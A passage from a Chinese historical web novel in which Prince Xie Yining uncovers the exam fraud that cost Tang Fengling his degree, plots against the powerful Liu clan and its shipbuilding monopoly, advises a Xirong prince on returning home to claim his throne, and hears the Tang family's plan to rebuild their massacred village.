当务之急,还是先去把科举的事情说清楚。
反正那会在任的不是他,是温如璋。
有什么事,也怪不到他头上。
“是。”倪旭不敢拦他,赶紧从怀里掏出两张画像又递了过去。
“这是武康伯之子的画像,我们找了好些人,反复核对过才画出来的。”
“知道了。”邢天海都没细看,一把将画像塞进怀里,转身就大步流星地赶往永安王现在住的宅子。
很快,他就被带了进去。
看到上首坐着的谢翊宁和晏逐星,他赶紧躬身行礼:“下官邢天海,见过永安王殿下,见过县主。”
谢翊宁略一抬手:“起来说话。案子查清了?”
“是!回王爷,查清了!”邢天海站直身体,忙不迭地点头,立刻从怀中取出整理好的卷宗双手呈上。
可他的动作太急,怀里的两张画像竟也跟着滑落在地。
“哎哟!”邢天海心里暗骂一声糟糕,冷汗瞬间就下来了。
这要命的东西怎么掉出来了。
他慌忙弯腰去捡,只想赶紧把这烫手山芋藏回去。
他一把抓起第一张画像,目光下意识地扫过纸上的人脸。
邢天海只觉得脑袋瞬间一片空白。
他死死盯着画像上那张年轻俊朗的脸,又猛地抬头看向上首端坐的永安王谢翊宁。
这画像上所谓的“武康伯之子”,那眉眼轮廓,竟然和眼前的永安王有六七分相似???
“邢大人手里拿的什么?”谢翊宁的声音不高,却清晰地传了过来,带着一丝玩味。
邢天海手一抖,画像差点又掉下去。
他僵硬地抬起头,对上谢翊宁的眼眸。
完了!血金笼的事难道败露了?
难不成之前派出去追杀“武康伯之子”的人,追杀的竟然是永安王?
巨大的恐惧一瞬间席卷全身。
他双腿发软几乎站立不住,脑子里只剩下一个念头:逃!必须立刻离开这里!
然而他刚想转身,只觉得眼前膝盖一痛,整个人就栽了下去。
秦朔将他按倒在地,断绝了他任何逃跑的可能。
谢翊宁缓缓站起身,踱步到他面前,居高临下地看着他,脸上依旧带着玩味的笑。
他伸出手,不容置疑地从邢天海僵直的手中抽走了那张画像。
“邢大人,是在找这个人吗?”
邢天海嘴唇哆嗦着,一个字也说不出来。
“你觉得,这人和本王像吗?”谢翊宁将画像拿起,放到了脸边,方便邢天海更方便的对比。
邢天海看了一眼画像,又僵硬地转动脖子看了一眼谢翊宁。
这么近距离地看,更像了。
他有些想哭,却又扯出了一抹苦笑。
老天爷这是在故意捉弄他么?
“这和本王哪里像了?”谢翊宁忽然站起身,嫌弃地将那张画像扔在了地上。仿佛被拿来跟这画像比较,是侮辱了他。
他指着地上画像的脸,语气刻薄又挑剔:“那么丑,鼻子不是鼻子,眼睛不是眼睛的!本王可比他好看多了好吧!”
后边的晏逐星跟着默默点头。
那画像的风采,不及永安王真人万分之一。
这句话,让心如死灰的邢天海心底猛地窜起一丝微弱的希望。
他几乎要喜极而泣。
难道是他猜错了?
画像上这个被追杀的“武康伯之子”,不是永安王?
血金笼的事王爷其实也还不知道?
没等他高兴太久,永安王接下来的话,如同寒冬腊月兜头浇下的一桶冰水,让邢天海整个人都僵在了原地。
“对了,邢大人。”谢翊宁微微歪头,那双漂亮得过分的眼睛盯着他,里面没有一丝温度。
“这画像是谁找人画的?临清知州?还是血金笼背后的东家?”
“血金笼”三个字一出,让邢天海刚萌发的微弱希望彻底破灭。
完了,彻底完了!
王爷什么都知道!
但他绝不能承认。
他哆哆嗦嗦地否认:“王、王爷说什么,血金笼是什么?下官不知道啊……”
“是么?”谢翊宁挑眉看向他,而后又看向了秦朔。
“秦指挥使,撬开邢大人的嘴就靠你了。本王今日就要知道所有真相。”
“是。”秦朔当即应下,命人将邢天海拖了出去。
邢天海:“……”
永安王怎么不按常理出牌?
虽然已经吓得魂飞魄散,但求生的本能还是让他挣扎起来。
他嘶声大喊道:“王爷不可啊!下官是朝廷命官,乃是正四品的知府。您无权私设公堂审问下官,这是违背大虞律法的!”
他试图用朝廷的规矩来压人。
“您若滥用私刑,回京之后,御史台、刑部定会参奏您的。”
他色厉内荏地喊着,眼睛死死盯着谢翊宁,希望能让对方有所顾忌。
一旁的晏逐星有些无语地看着邢天海。
这位邢大人对永安王了解得还是太少了呀。
王爷是那种怕被言官参的人么,他还不如说他查案还有用呢,那样王爷说不定会暂时放他一马。
第295章 傲慢的柳家
谢翊宁已经坐回椅子上,听到他这话,只是懒懒地抬了下眼皮,仿佛听到了什么无聊的笑话。
“哦?参奏本王?”他勾起了唇角。
“那就让他们参去好了。”
他顿了顿,仿佛在认真思考。
“顶多被父皇骂两句,扣几个月俸禄?或者罚本王闭门思过几天?”
这些惩戒对他来说不痛不痒的。
他才不在乎呢。
说起来,他的俸禄被扣到哪一年了?
谢翊宁一时间想不起来了。
他摆了摆手:“邢大人,你有这闲工夫操心本王会不会被参,不如好好操心操心你自己的小命吧。”
“带下去!”
他不再看邢天海,挥手示意。
秦朔当即命人一左一右架住邢天海往外拖。
“王爷!您不能这样!您……”邢天海的哭嚎声渐渐远去,逐渐听不清了。
晏逐星快步将他掉在地上的卷宗捡了起来,上边已经将证据整理好了。
不得不说,邢天海还是有几分本事的。
这卷宗整理得明明白白,当年父亲被冒名顶替一案,时间线,人证和物证,都很清晰。
她越看脸色越凝重。
“真是欺人太甚。”
“如何了?”谢翊宁看了过来。
晏逐星将卷宗递给了他。
她深吸一口气,开口道:“我爹三次录科考落第,的确是被人冒名顶替了。”
“第一次,是富绅陈万金之子陈宝碌,买通了誊录书吏。”
“书吏在誊抄环节,将我爹的文章换成了陈宝碌的狗屁不通之作!陈宝碌顶名过关,我爹落榜。人证、物证俱全,陈万金及涉事书吏均已供认不讳。”
“第二次,乃是青州柳家人所为。”
“青州柳家?”谢翊宁重复了一遍,目光扫过卷宗记录的案情。
柳家扎根青州数百年,势力盘根错节。
官场上,柳家子弟门生以及故交遍地;商道上,柳家掌控着几处命脉产业;地方上,柳氏宗族更是说一不二的土皇帝。
在青州,柳家家主的话有时比知府还管用几分。
这样一个大家族,要神不知鬼不觉地抹掉一个寒门秀才的录科资格,换上自己的人易如反掌。
难怪当年能做得如此干净。
若非邢天海这次豁出去深挖,加上他和小恩人身份的压力,这些尘封的肮脏恐怕永无见光之日。
晏逐星开口打断了他的思绪:“柳承宗有个见不得光的私生子流落在外,为了给这个儿子铺路认祖归宗,他需要一份功名当遮羞布。所以便选中了我爹。”
谢翊宁看了下去,发现柳承宗买通了省学政衙门更高层级的官员,在最终审核环节,将棠风陵原本已判合格的考卷,与柳文博那份落第的考卷,进行了彻底调换。
不仅顶替了资格,连棠风陵那份足以证明他才学的真迹,也被他们销毁了。
若非刀子悬在脑门上,激发了邢天海的求生欲,让他找到了当年一位负责搬运考卷,目睹异常却不敢言的老差役,此案几乎死无对证。
“至于第三次……”晏逐星说到这个,简直气笑了。
笑声里充满了难以置信的荒谬。
因为最后这次彻底断送她爹前程的,不是什么权贵世家,而是那个开脂粉铺子的老板赵生财。
就因为他当年想让阿爹给他赵家当女婿,被阿爹拒绝了。
他那宝贝女儿因此耽误了花期,迟迟嫁不出去。
就为这点事,他竟然花了二十两银子,买通学政衙门里一个管库房的小吏。
当年档案管理混乱,录科名单还没最终归档入库的当口,那小吏直接把她爹那份考卷从架子上抽出来,当场撕了个粉碎,扔进了茅厕里。
二十两银子,就毁了她爹三年的心血,断送了他最后的机会。
晏逐星被这荒谬的事情气得都不知道该说什么好了。
“这个赵生财和那个小吏已经被邢天海抓到官府大牢里了,而柳家,他却没敢动。”谢翊宁神色变冷。
“想必他今日来,也是想让咱们拟个章程,究竟该怎么对柳家。”晏逐星接话。
提到柳家人,她忍不住皱起了眉头。
这段时间,她早已将柳家人的傲慢看得清清楚楚。
她和王爷抵达青州的这几日,除了邢知府这样新来乍到,根基未稳的,没有一个官员和世家登门递帖子。
她来时可是让莘县县令派人护送的,入城时的阵仗大张旗鼓,她不信柳家人不知道。
永安王在茶楼打了邢天海的儿子,闹得那么大,她更不信柳家人没听到风声。
他们一直不递拜帖,就是在故意晾着他们。
他们多半是在试探,试探王爷此番为何忽然到青州。
或许也是在示威,向整个青州宣告:甭管来的是王爷还是县主,在他们的地界,都得看他们柳家的脸色行事。
他们秘方在手,捏着鲁地漕运的命门,所以才那么有恃无恐。
无论是能让木头百年不腐的桐油秘方,还是龙骨铆接的独门手艺,他们造出的漕船,又快又稳又耐用。
反观官办的船坞,造出来的船又笨又沉,跑两趟运河就得大修。
漕运可是朝廷的粮袋子、钱袋子。
误了期限,粮船沉了,第一个掉脑袋的就是负责漕运的官员。
想必温如璋在任时为了稳住局面、保住官位,暗中施压漕司,促成漕运衙门高价委托柳家造船修船。
这些年,想必他一直在纵容柳家掐着朝廷命脉吸血,双方进行了无数次的利益交换。
不然温如璋在青州呆了十几年,怎么忽然就能升到京城去当工部尚书了。
“柳家,势必要铲除。”谢翊宁眉头
这些日子他让手底下的人去查,发现这鲁地河面上跑的官家漕船,十艘里有八艘都打着柳家船厂的烙印。
柳家仗着秘方,已经把朝廷的漕运命脉变成了他们柳家予取予求的钱袋子。
“咱们该怎么做?”晏逐星看向了谢翊宁。
对付柳家,不能像在京城里弄死福安郡主一家那样简单粗暴。
如今官办船厂短期内还无法造出合格漕船,而柳家掌握着核心的造船技术和大量熟练工匠。
如果强行剿灭柳家,逼得他们同归于尽,届时造成技术断层,鲁地漕运将彻底瘫痪。
北方粮食供应一旦中断,军队粮饷不济,天下震动,这代价是朝廷承受不起的。
而且柳家是青州实际控制者,产业除了漕运还有把控着许多商业。
如果柳家倒台,那些依附柳家生存的百姓、商户、船工都会失业,若因此引发青州动乱,麻烦会更多。
最重要的是,没有什么证据直接动用兵力除掉一个百年世家,会让其他地方的豪强、士族门阀人人自危,觉得当今圣上刻薄寡恩、滥杀无辜。
说不定会逼得他们暗中串联自保,甚至勾结外敌,致使朝政动乱。
晏逐星能想到的东西,谢翊宁自然也想到了。
第296章 鸡同鸭讲中
他微微一笑:“柳家的势力盘根错节,但也并非无懈可击。柳文博,就是咱们最好的切入口。”
小恩人可真是他的小福星。
没去棠家蹭饭的那几日,他就是在暗中调查柳家相关的事情。
得知柳家的船几乎垄断了整个鲁地,他就已经生出了不妙的预感。
一直琢磨着该找什么借口对他们开刀,现在竟然有现成的把柄送上门来了。
简直是天赐良机。
柳家竟敢把手伸进科举场,玩这偷天换日的把戏,真是活腻歪了。
这可是舞弊大案。
戕害士子,动摇国本。
柳家这次不死也得脱层皮。
柳文博一个连录科考都要舞弊的人,走惯了捷径,正式科举考试的时候手脚又怎么会干净。
正好可以顺着他这个线索查下去。
而且这柳文博是私生子,他就不信了,那些嫡出的柳家子弟能容忍他的存在。
“停云……”他下意识地喊了一声。
停云是所有暗卫里轻功最好的。
他想让他去柳家船厂探一探,看看能不能找到核心的机密。
但脱口而出之后,他才想起来,停云如今还在玉禅寺养伤。
他顿时有些失落。
晏逐星听到他喊停云,就猜到了他想做什么,温声道:“无妨,咱们还有时间,不着急,可以慢慢来。”
“嗯。”谢翊宁点了点头。
柳家将那些核心的造船匠人管得十分严实,从不让他们在外边露面。想要出大价钱挖人,几乎是不可能的。
他得双管齐下。
柳家的匠人要想办法挖出来,外边厉害的匠人也要找。
他就不信,整个大虞除了柳家人,还没有一个会造船的能工巧匠了。
大虞找不到,他就去南穹或者琉光去找。
西戎和北境就大可不必了。
一个全黄沙遍野压根不造船,另一个遍地草原牛羊,连条像样的大河也没有,估计也找不出什么厉害的造船人物。
想到这,他脑子里突然蹦出个想法:要是这俩地方都归他们大虞,那该多好啊!
不过,征服两个国家哪是那么容易的事。
算了,这种头疼事还是留给父皇和太子哥哥操心去吧。
他得派人快马加鞭把青州这欺上瞒下的风气告诉父皇。
如果不是他来这一趟,他压根就不知道,柳家对漕运的影响力已经到了这个地步。
两人正商量着接下来如何对付柳家,就听到门外的鸣珂敲门。
“王爷,县主,西戎小王子求见。”
谢翊宁与晏逐星交换了一个眼神后,晏逐星扬声:“让他进来吧。”
鸣珂侧身开门,萨尔司澜走了进来。
“见过永安王,见过令嘉县主。”
今日的萨尔司澜已褪去了昨日的些许稚气,整个人看起来沉稳了许多。
谢翊宁和晏逐星只略一点头,示意一旁的护卫搬来一把椅子,便不再言语。
萨尔司澜虽然看起来很沉稳,但本性难改。
这令人窒息的沉默不过片刻,他便按捺不住开门见山,迫切道:“我要回西戎!你们能帮我吗?”
谢翊宁端起手边的茶盏,慢条斯理道:“帮你?自然可以。只是本王从不做亏本的买卖。小王子,你能给本王什么呢?”
萨尔司澜的脸色白了白。
在这异国他乡,他确实一无所有。
来之前,他就想过了,谢翊宁不会轻易的帮他。
但他不甘心,他想要回去夺回属于他的一切,他要把乌恩那个混账弄死。
所以不管谢翊宁提出什么要求,他都会答应。
他深吸一口气,强迫自己迎上谢翊宁审视的目光,一字一句道:“现在的我虽然一无所有,但等我登上了王位,整个西戎就是我的了。”
“你们助我回西戎,除掉我大王兄,扶我登上王位!只要我掌权西戎,便立刻与大虞缔结盟约,永为兄弟之邦。互市、通商、永不侵犯你们的边境。还有西戎所产的那些香料和以及能抵千金的葡萄美酒,皆可优先巨量供应给大虞。”
“听起来倒是个有趣的提议。”谢翊宁缓缓开口。
他说完之后又不吭声了,差点没把萨尔司澜给急死。
他都已经做了那么大的让步,这永安王怎么还不动心?
他忍不住看向了晏逐星,用眼神示意她说两句话呀。
事情太大,晏逐星干脆低头喝茶不发表意见。
王爷那日说过要挑起西戎内乱,他想必已经有自己的打算了。
她没必要多嘴。
“永安王,大家都是男子汉,行不行,你快说呀。”萨尔司澜见她不搭理自己,扭头看谢翊宁,没忍住再次开口催促。
谢翊宁这才开口:“扶你上位,让你成为西戎新王,然后与大虞永结盟好。这确实是个不错的提议。”
他刻意停顿了一下,欣赏着萨尔司澜瞬间因紧张而屏住呼吸的样子,才慢悠悠地继续说下去。
“不过,空口白牙的盟约最是廉价。你让本王如何信你?又如何确保,你坐上那个位置后,不会忘恩负义?”
“望恩?父衣?!”萨尔司澜重复了一遍这个词。
他的大虞官话磕磕绊绊,对成语更是一知半解,这几个模糊的音节组合在一起,在他耳中就变成了“望恩父衣”。
望恩?
萨尔司澜抠了抠手心,勉强能理解。
这永安王应该是让他要时时刻刻望着这份恩情,不要忘记了。
但父衣是什么?难道是父王的衣服吗?
难不成永安王是想要让他拿一件父王的衣服来当做交易的筹码?
他眼里满是不解,但还是老实地点了点头:“王爷放心,我不会忘记你送我回西戎的恩情,回了西戎,我会把父王的衣服送给你。王袍也可以。”
这下疑惑的人变成了谢翊宁。
“本王要你父王的衣裳做什么?”
“不是你说的望恩父衣吗?”萨尔司澜急了。
他一着急,口音就更严重了,谢翊宁压根听不懂他说的是什么,只得点头:“没错啊,你可不能忘恩负义。”
在两人鸡同鸭讲之下,一旁的晏逐星终于搞懂了什么情况。
“王爷,小王子的官话说得不好,或许是理解错了咱们的意思。”她忍着笑把自己的猜测说了出来。
谢翊宁:“……”
而一旁的萨尔司澜还是懵懵懂懂的,不明白到底什么意思。
“忘恩负义的意思是,你不能忘记我们对你的帮助……”晏逐星转头看向他,和他解释了起来。
萨尔司澜重重点头:“我肯定不会忘记的。”
怕他们不相信,他猛地站起身,右手抚胸,行了一个西戎最重的血誓之礼,声音斩钉截铁:
“我萨尔司澜在此立誓!以天神之名,以我萨尔氏王族血脉起誓。你们要是帮助我重归故土、承继王位,我必定永远遵守这份盟约。若违背誓言,我上头七十代祖宗的魂魄下油锅,往后七十代子孙全部都死绝。”
晏逐星倒吸一口凉气。
这小王子对自己的祖宗和后代可真狠啊。
谢翊宁:“……”
人家话都说到这份上了,他要是再不信,好像显得有点太不近人情了。
“若你们还是不相信,事成之后我亲自来大虞当人质,直到盟约稳固!”萨尔司澜目光灼灼,紧紧盯着谢翊宁。
“很好,你的诚意,本王暂且收下。”谢翊宁微微颔首。
“那么,接下来,我们可以谈谈具体该如何帮你了。”
第297章 最爱的孩子
萨尔司澜眼睛亮晶晶地盯着谢翊宁,一脸期待地等他开口。
那模样莫名让谢翊宁想起了小时候他养的那只大白狗。
那是只傻狗,只能听懂吃饭睡觉。
一到吃饭时间,就和眼前的萨尔司澜差不多,瞪着大眼睛叼着饭盆,等着他投喂。
谢翊宁抿唇浅笑,随后开口道:“助你回西戎夺位,非是易事,更非一日之功。需步步为营,环环相扣。”
听到他一句话里带了好几个成语,萨尔司澜眼里再一次露出了迷惘的表情。
谢翊宁也意识到自己说话有问题,赶忙改口,接下来的话都用了最简单的句子去表达。
“本王的意思是,这件事很难,急不得。”
“我知道。”萨尔司澜点了点头。
“父王说过,你们有句话叫热豆腐着急吃不到。”
谢翊宁点点头:“对,心急吃不了热豆腐。”
“你不要从大虞和西戎的边境回去,说不定你大王兄还布有后手。”
“那我怎么回去?”萨尔司澜认真求教。
谢翊宁把早就想好的办法说了出来。
“本王派人送你走另一条路,南穹与西戎在西南荒漠边缘有小片接壤,两国关系素来冷淡,商旅往来稀少,守备松懈。”
“本王会安排你以商队护卫的身份,混入一支有南穹通关文牒的商队,先抵达南穹边境。再从那里,由我们的人护送你,悄无声息地潜回西戎。”
“回了西戎,不要马上回王庭。”
“为什么?”萨尔司澜不解。
他恨不得回去的第一时间就找父王,让他把大王兄给打死。
“先打听一下你的事情。万一,你大王兄对你的失踪造谣了,让你父王厌恶了你怎么办。”谢翊宁考虑得很周全。
“不可能!”萨尔司澜脱口而出。
父王说过,他是他最爱的孩子。
“你当初还说你大王兄不可能会害你呢,那你告诉我,你现在怎么会狼狈地出现在大虞地下搏命窟和野兽搏命?”
谢翊宁一句话让他闭上了嘴。
萨尔司澜整个人顿时变得蔫巴了起来,他点点头,表示记住了。
谢翊宁见他虽然蔫巴,但还是把他说的话听进去了。于是放缓了语气,像在教一个初学弈棋的孩童布局。
“记住,回去后,你要做一个猎人,藏在暗处。看清谁是你父王的心腹,谁又悄悄倒向了你大王兄。这些人,能拉拢的就拉拢,拉拢不了的就让他们犯错,被你父王看见。”
萨尔司澜眉头拧得更紧了,抠着手掌心小声嘟囔了起来:“你说的这些东西,简直比在没有星星的夜晚里横穿沙海还难。”
他声音闷闷的,带着点挫败和不易察觉的委屈。
他只喜欢光明正大的挑战,这种暗地里的算计,让他浑身不自在。
“难也得学。”谢翊宁的语气不容置疑,“你大王兄把你丢进搏命窟,就是要把你变成黄沙下的枯骨,无声无息地消失。你要活,要赢,就要沉得住气。”
听他提起搏命窟。
铁笼子里那些野兽腥臭的喘息、那些看客们疯狂的嘶吼以及与野兽搏斗时濒死挣扎的绝望感觉,一瞬间再次涌上心头。
萨尔司澜狠狠吸了一口气,声音带上了一种强行压抑的冷硬:“……我知道了。我会沉得住气。”
谢翊宁继续道:“也不必太过担心。只要你父王健在,这就是你最大的依仗。”
“你回去后的第一件事,就是让你父王知道他最心爱的小儿子,差点死在他信任的长子手里。不是靠你哭诉,而是让他自己发现。”
“自己发现?”萨尔司澜困惑的重复。
“对。”谢翊宁点了点头。
“比如,你可以无意中让你父王知道,你一路被追杀,而追杀你的人身上,带着某些只有你大王兄亲卫才有的标记。”
“总而言之,这些事情,要让别人讲给你父王听才最可信。你自己只需要表现出劫后余生的惶恐和对父王的思念,就够了。”
萨尔司澜听着,眼神一点点亮了起来。
“我明白了。就像对付剧毒的沙蛇,不能莽撞硬拼,得先引它出洞。”
“没错。”谢翊宁赞许地点点头。
“看来那块热豆腐,你也不是完全吃不到。只是得等它凉一凉,还得找把合适的勺子。”
这次,萨尔司澜听懂了,嘴角微微上扬。
“嗯,我会耐心,会等,会找到一把好的勺子,最后一定吃上豆腐。”他重重点头。
谢翊宁见他明白了,也露出了笑意。
“我会安排人,在你抵达西戎后,将一些引子悄悄放出去。剩下的,就看你自己如何引导了。”
“记住,藏好你的恨,露好你的弱。在你父王面前,你永远是那个受了天大委屈,需要他庇护的儿子。而面对大王子,你要装成一个依旧相信他的傻弟弟。”
萨尔司澜的笑意退去,本能地想要反驳他不傻。
但他又底气不足。
毕竟他要是不傻,又怎么会被乌恩卖到了大虞,还帮他数钱。
“好吧,我记住了,那我什么时候可以回去?”他抬头看向谢翊宁,眼里满是迫不及待。
第298章 什么都变了
谢翊宁不疾不徐道:“本王得先派人安排好你的身份,然后准备通关文牒。你暂且先休息一段时间,好好养伤。半个月后,我会派人送你走。”
“好。”萨尔司澜没有抗议,乖乖听话。
谢翊宁决定给他找个老师,趁着这半个月的时间,多教他点东西,省得回了西戎还傻乎乎的,要是一回去就给大王子送人头,那不就白救了。
将萨尔司澜打发走之后,谢翊宁和晏逐星拿着卷宗去见了棠风陵。
棠风陵听到自己“三次录科考都中了,却次次被人顶替”的消息,整个人像被钉在了原地,一动不动。
虽然早有了心理准备,但是听到这个消息时他还是觉得五雷轰顶。喉结艰难地上下滚动了好几次,他才从喉咙里挤出一点的声音:“……当真?”
晏逐星点了点头。
看着爹爹这副模样,她的心像是被人用力拧了一把。
棠风陵深吸一口气,着手去翻那些卷宗,他的动作笨拙又急切,还带着一丝丝颤抖。
看到最后,证据确凿,他眼眶里打转的泪珠终于控制不住掉了下来。
“我就知道,我就知道。”他喃喃自语。
“四岁开蒙起,我就没歇过一天。起得比鸡早,睡得比狗晚。三伏天痱子烂了背,三九天冻疮裂了手,爬也要爬去学堂……我怎么会考不上?怎么会!”
说到最后,他整个人都在抖。
若不是夫人搀扶着他,他都要跌倒了。
棠云麒兄弟二人也红了眼眶。
这是晏逐星第一次见到这样的爹爹。
即便是相认那日,爹爹的悲伤和惊喜都带着克制。
而今日真相大白,直接让他心中积压多年的愤怒和委屈如同山洪决堤一般,冲垮了他最后那点理智。
让他顾不得孩子还在场,就已经潸然泪下。
他死死抓着夫人的手,愤怒开口:“若是我录科考没有被顶替,参加了科举,按照我的才学,中举定然不成问题。”
“也就可以带着全家人搬离棠家村,或许就不会有后来秦王妃的事情了。咱们一家也不会骨肉分离至今。更不会害得全村人丧命。”
说到最后,话音里除了愤怒还有无奈和自责。
他的眼泪根本止不住。
除了落第一事,棠家村被屠一事更是沉甸甸地压在他的心头十几年。
“都怪我,当初我就不该为了那二两银子收留她们母女……”棠风陵泣不成声。
他想着,二两银子可以给孩子们买好多肉,还能给婋婋再做一身新衣裳了。
可他没想到,那二两银子竟然害得全村被屠。
“怎么能怪你,是我答应下来的。要怪就怪我。”方青鸾也红了眼眶。
这些年她无数次在梦中惊醒,后悔自己为什么为了二两银子害死了大家。
“怎么能怪你们呢!”晏逐星斩钉截铁地打断了爹娘的话。
她目光灼灼,直视着泪眼婆娑的爹娘。
“真正该千刀万剐的,是那包藏祸心的秦王妃!是她蛇蝎心肠,为替自家女儿挡灾,处心积虑寻人替死。就算没有我们,没有棠家村,他们也会祸害另一群无辜的百姓。”
“阿爹,阿娘,莫要再往自己心上插刀了。这血债,不在你们,全在那些丧尽天良、草菅人命的恶徒身上。天理昭昭,该遭报应的是他们!”
“婋婋说得对,你们根本就没错!”棠云麒咬牙切齿的跟着附和,“该反思,该被谴责的是那群作恶之人。”
棠云麟也跟着默默点头。
那一夜,死了很多他的小伙伴。
那个不会读书,但总是偷摸分一半红薯给他的狗蛋。
那个手巧得很,会用狗尾巴草编小兔子送他的春妮儿。
还有总跟在他屁股后面,奶声奶气叫他麟哥哥的阿满。
每一个名字,每一张稚嫩的脸孔,此刻都清晰的浮现在他的脑海里。
棠云麟在心底暗暗发誓:他一定要考取功名,入朝为官,替棠家村的老老少少讨回公道。
看着棠风陵流泪满面、棠家人双目通红的模样,谢翊宁心底也很不是滋味。
那些人为了一己之私就毁人前途,实在是可恶至极。
光是棠风陵一个人就被顶替了三次,那会不会还有其他穷苦学子也被顶替了呢?
他沉声道:“除了棠先生之外,恐怕还有其他被埋没了功名的寒士。此事本王一定会严查到底,让他们付出应有的代价,还天下学子们一个公道。”
“多谢王爷。”棠风陵冲他深深鞠了一躬。
谢翊宁赶忙将他搀扶起来。
“先生不必客气,此事本就是朝廷亏欠了你们。”他叹了一口气。
如果科举的流程制度可以再完善一些,监考的官员可以再负责一些,冒名顶替的事情是不是就会消失了?
“我相信王爷一定会给天下寒门学子讨回公道!”棠风陵感激涕零。
泪意汹涌过后,理智稍稍回笼。
在孩子面前这般失态,他脸上掠过一丝不易察觉的窘迫,忙用袖子飞快地沾了沾眼角。
晏逐星见父亲神色不自在,立刻岔开了话题:“爹,娘,此番回来,你们去过棠家村了么?”
两人对视一眼,沉重地点了点头。
棠风陵哑着嗓子开口:“去了。到青州的第一时间就去了。”
他嘴角扯出一个苦涩的笑。
“十几年了,什么都变了,什么都没了。”
“棠家村早就成了一片废墟。野草长得比人还高,盖住了烧塌的房梁,盖住了所有的路。”
他原想着回来或许还能去看看从前的家,到时候见到了女儿,带着女儿一块回去,说不定能让她想起些什么。
但入眼的却是一片荒芜。
他说不下去了,方青鸾轻声接话:“我们打听过了,当年棠家村被屠,官府将其定为山匪劫财杀人。村子里老老少少的尸首太多了,没人收殓。他们……他们索性一把火烧光了。”
方青鸾的声音陡然哽住。
大虞讲究的是“入土为安”。
棠家村的村民曝尸荒野已经够惨了,可官府却没有好好替他们收敛尸身,而是一把火将他们的尸骨焚为灰烬,那不就是挫骨扬灰么。
说到这,晏逐星也已经明白了。
棠家村最后成了村民们焚尸的现场,再加上山匪的谣言,那一块地方,想必不会再有人去住下。
所以才会野草横生。
她虽然已经记不得那些村民,但她知道家里人对棠家村的感情。
她柔声道:“爹、娘,一切都过去了,咱们都是棠家村的后人,只要我们记得,他们就不算真的被那场火烧得干干净净。”
她顿了顿,目光清亮地迎上父母泛红的双眼,一字一句道:“我有钱了。我们可以重新把棠家村建起来。”
第299章 王爷说得对
“重新……建起来?”棠风陵下意识地重复了一遍这句话。
他眼神里满是难以置信的震动。
方青鸾和棠云麒兄弟二人也惊讶得张大了嘴。
“婋婋,重建一个村子可不是几百两银子能解决的事情。”棠云麒率先开口。
他走南闯北,最知道银子有多难挣。
妹妹虽然说是县主,但才被册封没多久,而且一年的俸禄想必也不会太多,哪里掏得出那么多银子。
那得省吃俭用多少年啊。
“是啊。那不是一笔小数目。”棠风陵也跟着点头。
他对棠家村的感情最深。
那里的一草一木,每一张熟悉的面孔,都刻在他的脑海里。
乍一听到“重建村子”四个字,他差点激动得想要大叫出声。
那一刻,他眼前仿佛看见了那片废墟之上,重新立起了一间间屋子。
几缕炊烟从烟囱里袅袅升起,村里的孩童光着脚丫在泥泞的土路上奔跑,村头村尾坐着在树下乘凉的大爷大娘……
但很快他就清醒了。
棠家村如今只剩了他们一行人,还有当年那个哑巴孩子。
他们要离开青州,到京城跟着女儿,不可能继续留守棠家村。
那个哑孩也已经有了新的家人,徐家人的根都在临清,他们又怎么会愿意跟着他一块回到棠家村来。
“爹知道你的心意。”他缓缓开口,声音沙哑得厉害。
“可棠家村的人,都已经不在了。重建那些房屋,修得再好,又有什么意义呢?”
“人都不在了。崭新的屋舍给谁住?修葺的祠堂谁来祭祀?开垦的良田由谁耕种?”
他每说一句话,声音就低下去一分。
“银钱的事情你们不必担忧。”晏逐星将秦王妃私宅里搜到的那笔钱说了出来。
听到三万六千两,棠家人彻底傻眼了。
秦王妃竟然有那么多银子?
还是他们可能一辈子都挣不到的银子。
晏逐星继续道:“不过我不会全部花完,我打算帮徐有福把他们一家的屋子建好,然后建一座祠堂。将当年惨死的村民们的牌位都立好,让徐有福一家逢年过节都帮忙给他们上香。”
这笔银子,她要留一部分采买粮食和衣裳,送去边境给霍家军的将士们。
正如爹爹说的,逝者已逝,这笔钱要花在更该花的地方。
每多活下来一个将士,边境的百姓们就多一分活下去的指望,多一分安稳日子的盼头。
“可只有他们一家人,也不安全吧。”棠云麟皱起了眉头。
他记得小时候阿娘经常上山打猎。
这么多年没人住,山上恐怕会多了一些猛兽,到时候若是来个老虎或者狼,徐家人那一家子老弱病残,怎么招架得住。
“还有,徐家人他们真的会愿意过来么?”棠云麟脸上满是担忧。
虽然他对妹妹这个提议也是心动过的。
晏逐星一脸认真道:“先问问嘛。他们若是不同意,我再另请人来看守祠堂。”
二哥提出的担忧,在她说出这个提议时,心里就已盘算过几轮了。
徐家收了她给的三百两银子,这可不是小数目。
就算徐家人再小心谨慎,藏着掖着花用,可日子久了,总会露出些痕迹来。
新添置的物件,徐家兄妹身上的新衣裳……
桩桩件件,恐怕会招来些眼红心热、生了歪心思的人。
那三百两银子,对穷苦的徐家是救命稻草,在那些心怀不轨之徒眼里,却可能是块不设防的肥肉。
轻则有人上门哭穷打秋风,重则可能引来宵小的觊觎,甚至被编排些不堪的谣言。
这样的事情,她上辈子不是没见过。
如果将她的提议告知,或许徐有福会更愿意带着养母和弟妹搬回故土。
“若他们愿意,临走前,我会请王爷派兵将山上的猛兽猎杀掉。”晏逐星一点一点说起了自己的计划。
谢翊宁当即点头表态:“没问题。重建房子的事情,也可以让他们去干,速度肯定很快。”
方青鸾忙道:“倒也不必麻烦军爷们,我去就行。”
她将胸脯拍得砰砰作响。
棠云麒听到这话,不由有些担忧:“娘,您还是……”
“您什么您,你是觉得老娘老了不中用了么?”方青鸾横了他一眼。
她这些年可从未停止打猎。
那可是祖传的手艺,不能丢了。
虽然她今年都已经四十出头了,但她的身子骨,比许多二十岁的男人都强得多。
区区野兽,不在话下。
棠云麒:“……”
冤啊。
他才说了四个字,话还没说完就挨了一顿训。
他小声道:“我的意思是,您还是让我也帮帮您吧,您不是一个人了,您可以不用一个人孤军奋战的。”
方青鸾瞥了一眼站在一旁的谢翊宁,忽然意识到她先前说话太不妥当,在王爷面前造次了。
她轻咳两声,挤出一个慈爱的笑容:“我儿真懂事。为娘甚是欣慰。”
棠云麒:“……”
阿娘忽然文绉绉的说话,怪吓人的。
看到娘亲眼角余光一直瞄着永安王,他悟了!
于是也挤出了一个笑容,配合着娘亲表演母慈子孝的场景。
“是娘教得好。”
晏逐星看到这一幕,忍俊不禁,继续把话说了下去:“人多力量大,到时候咱们都去嘛。”
“婋婋,那他们若是不愿意来呢?该找谁来呢?”棠风陵听完女儿先前的说法,现在隐隐有些心动了,忍不住继续追问。
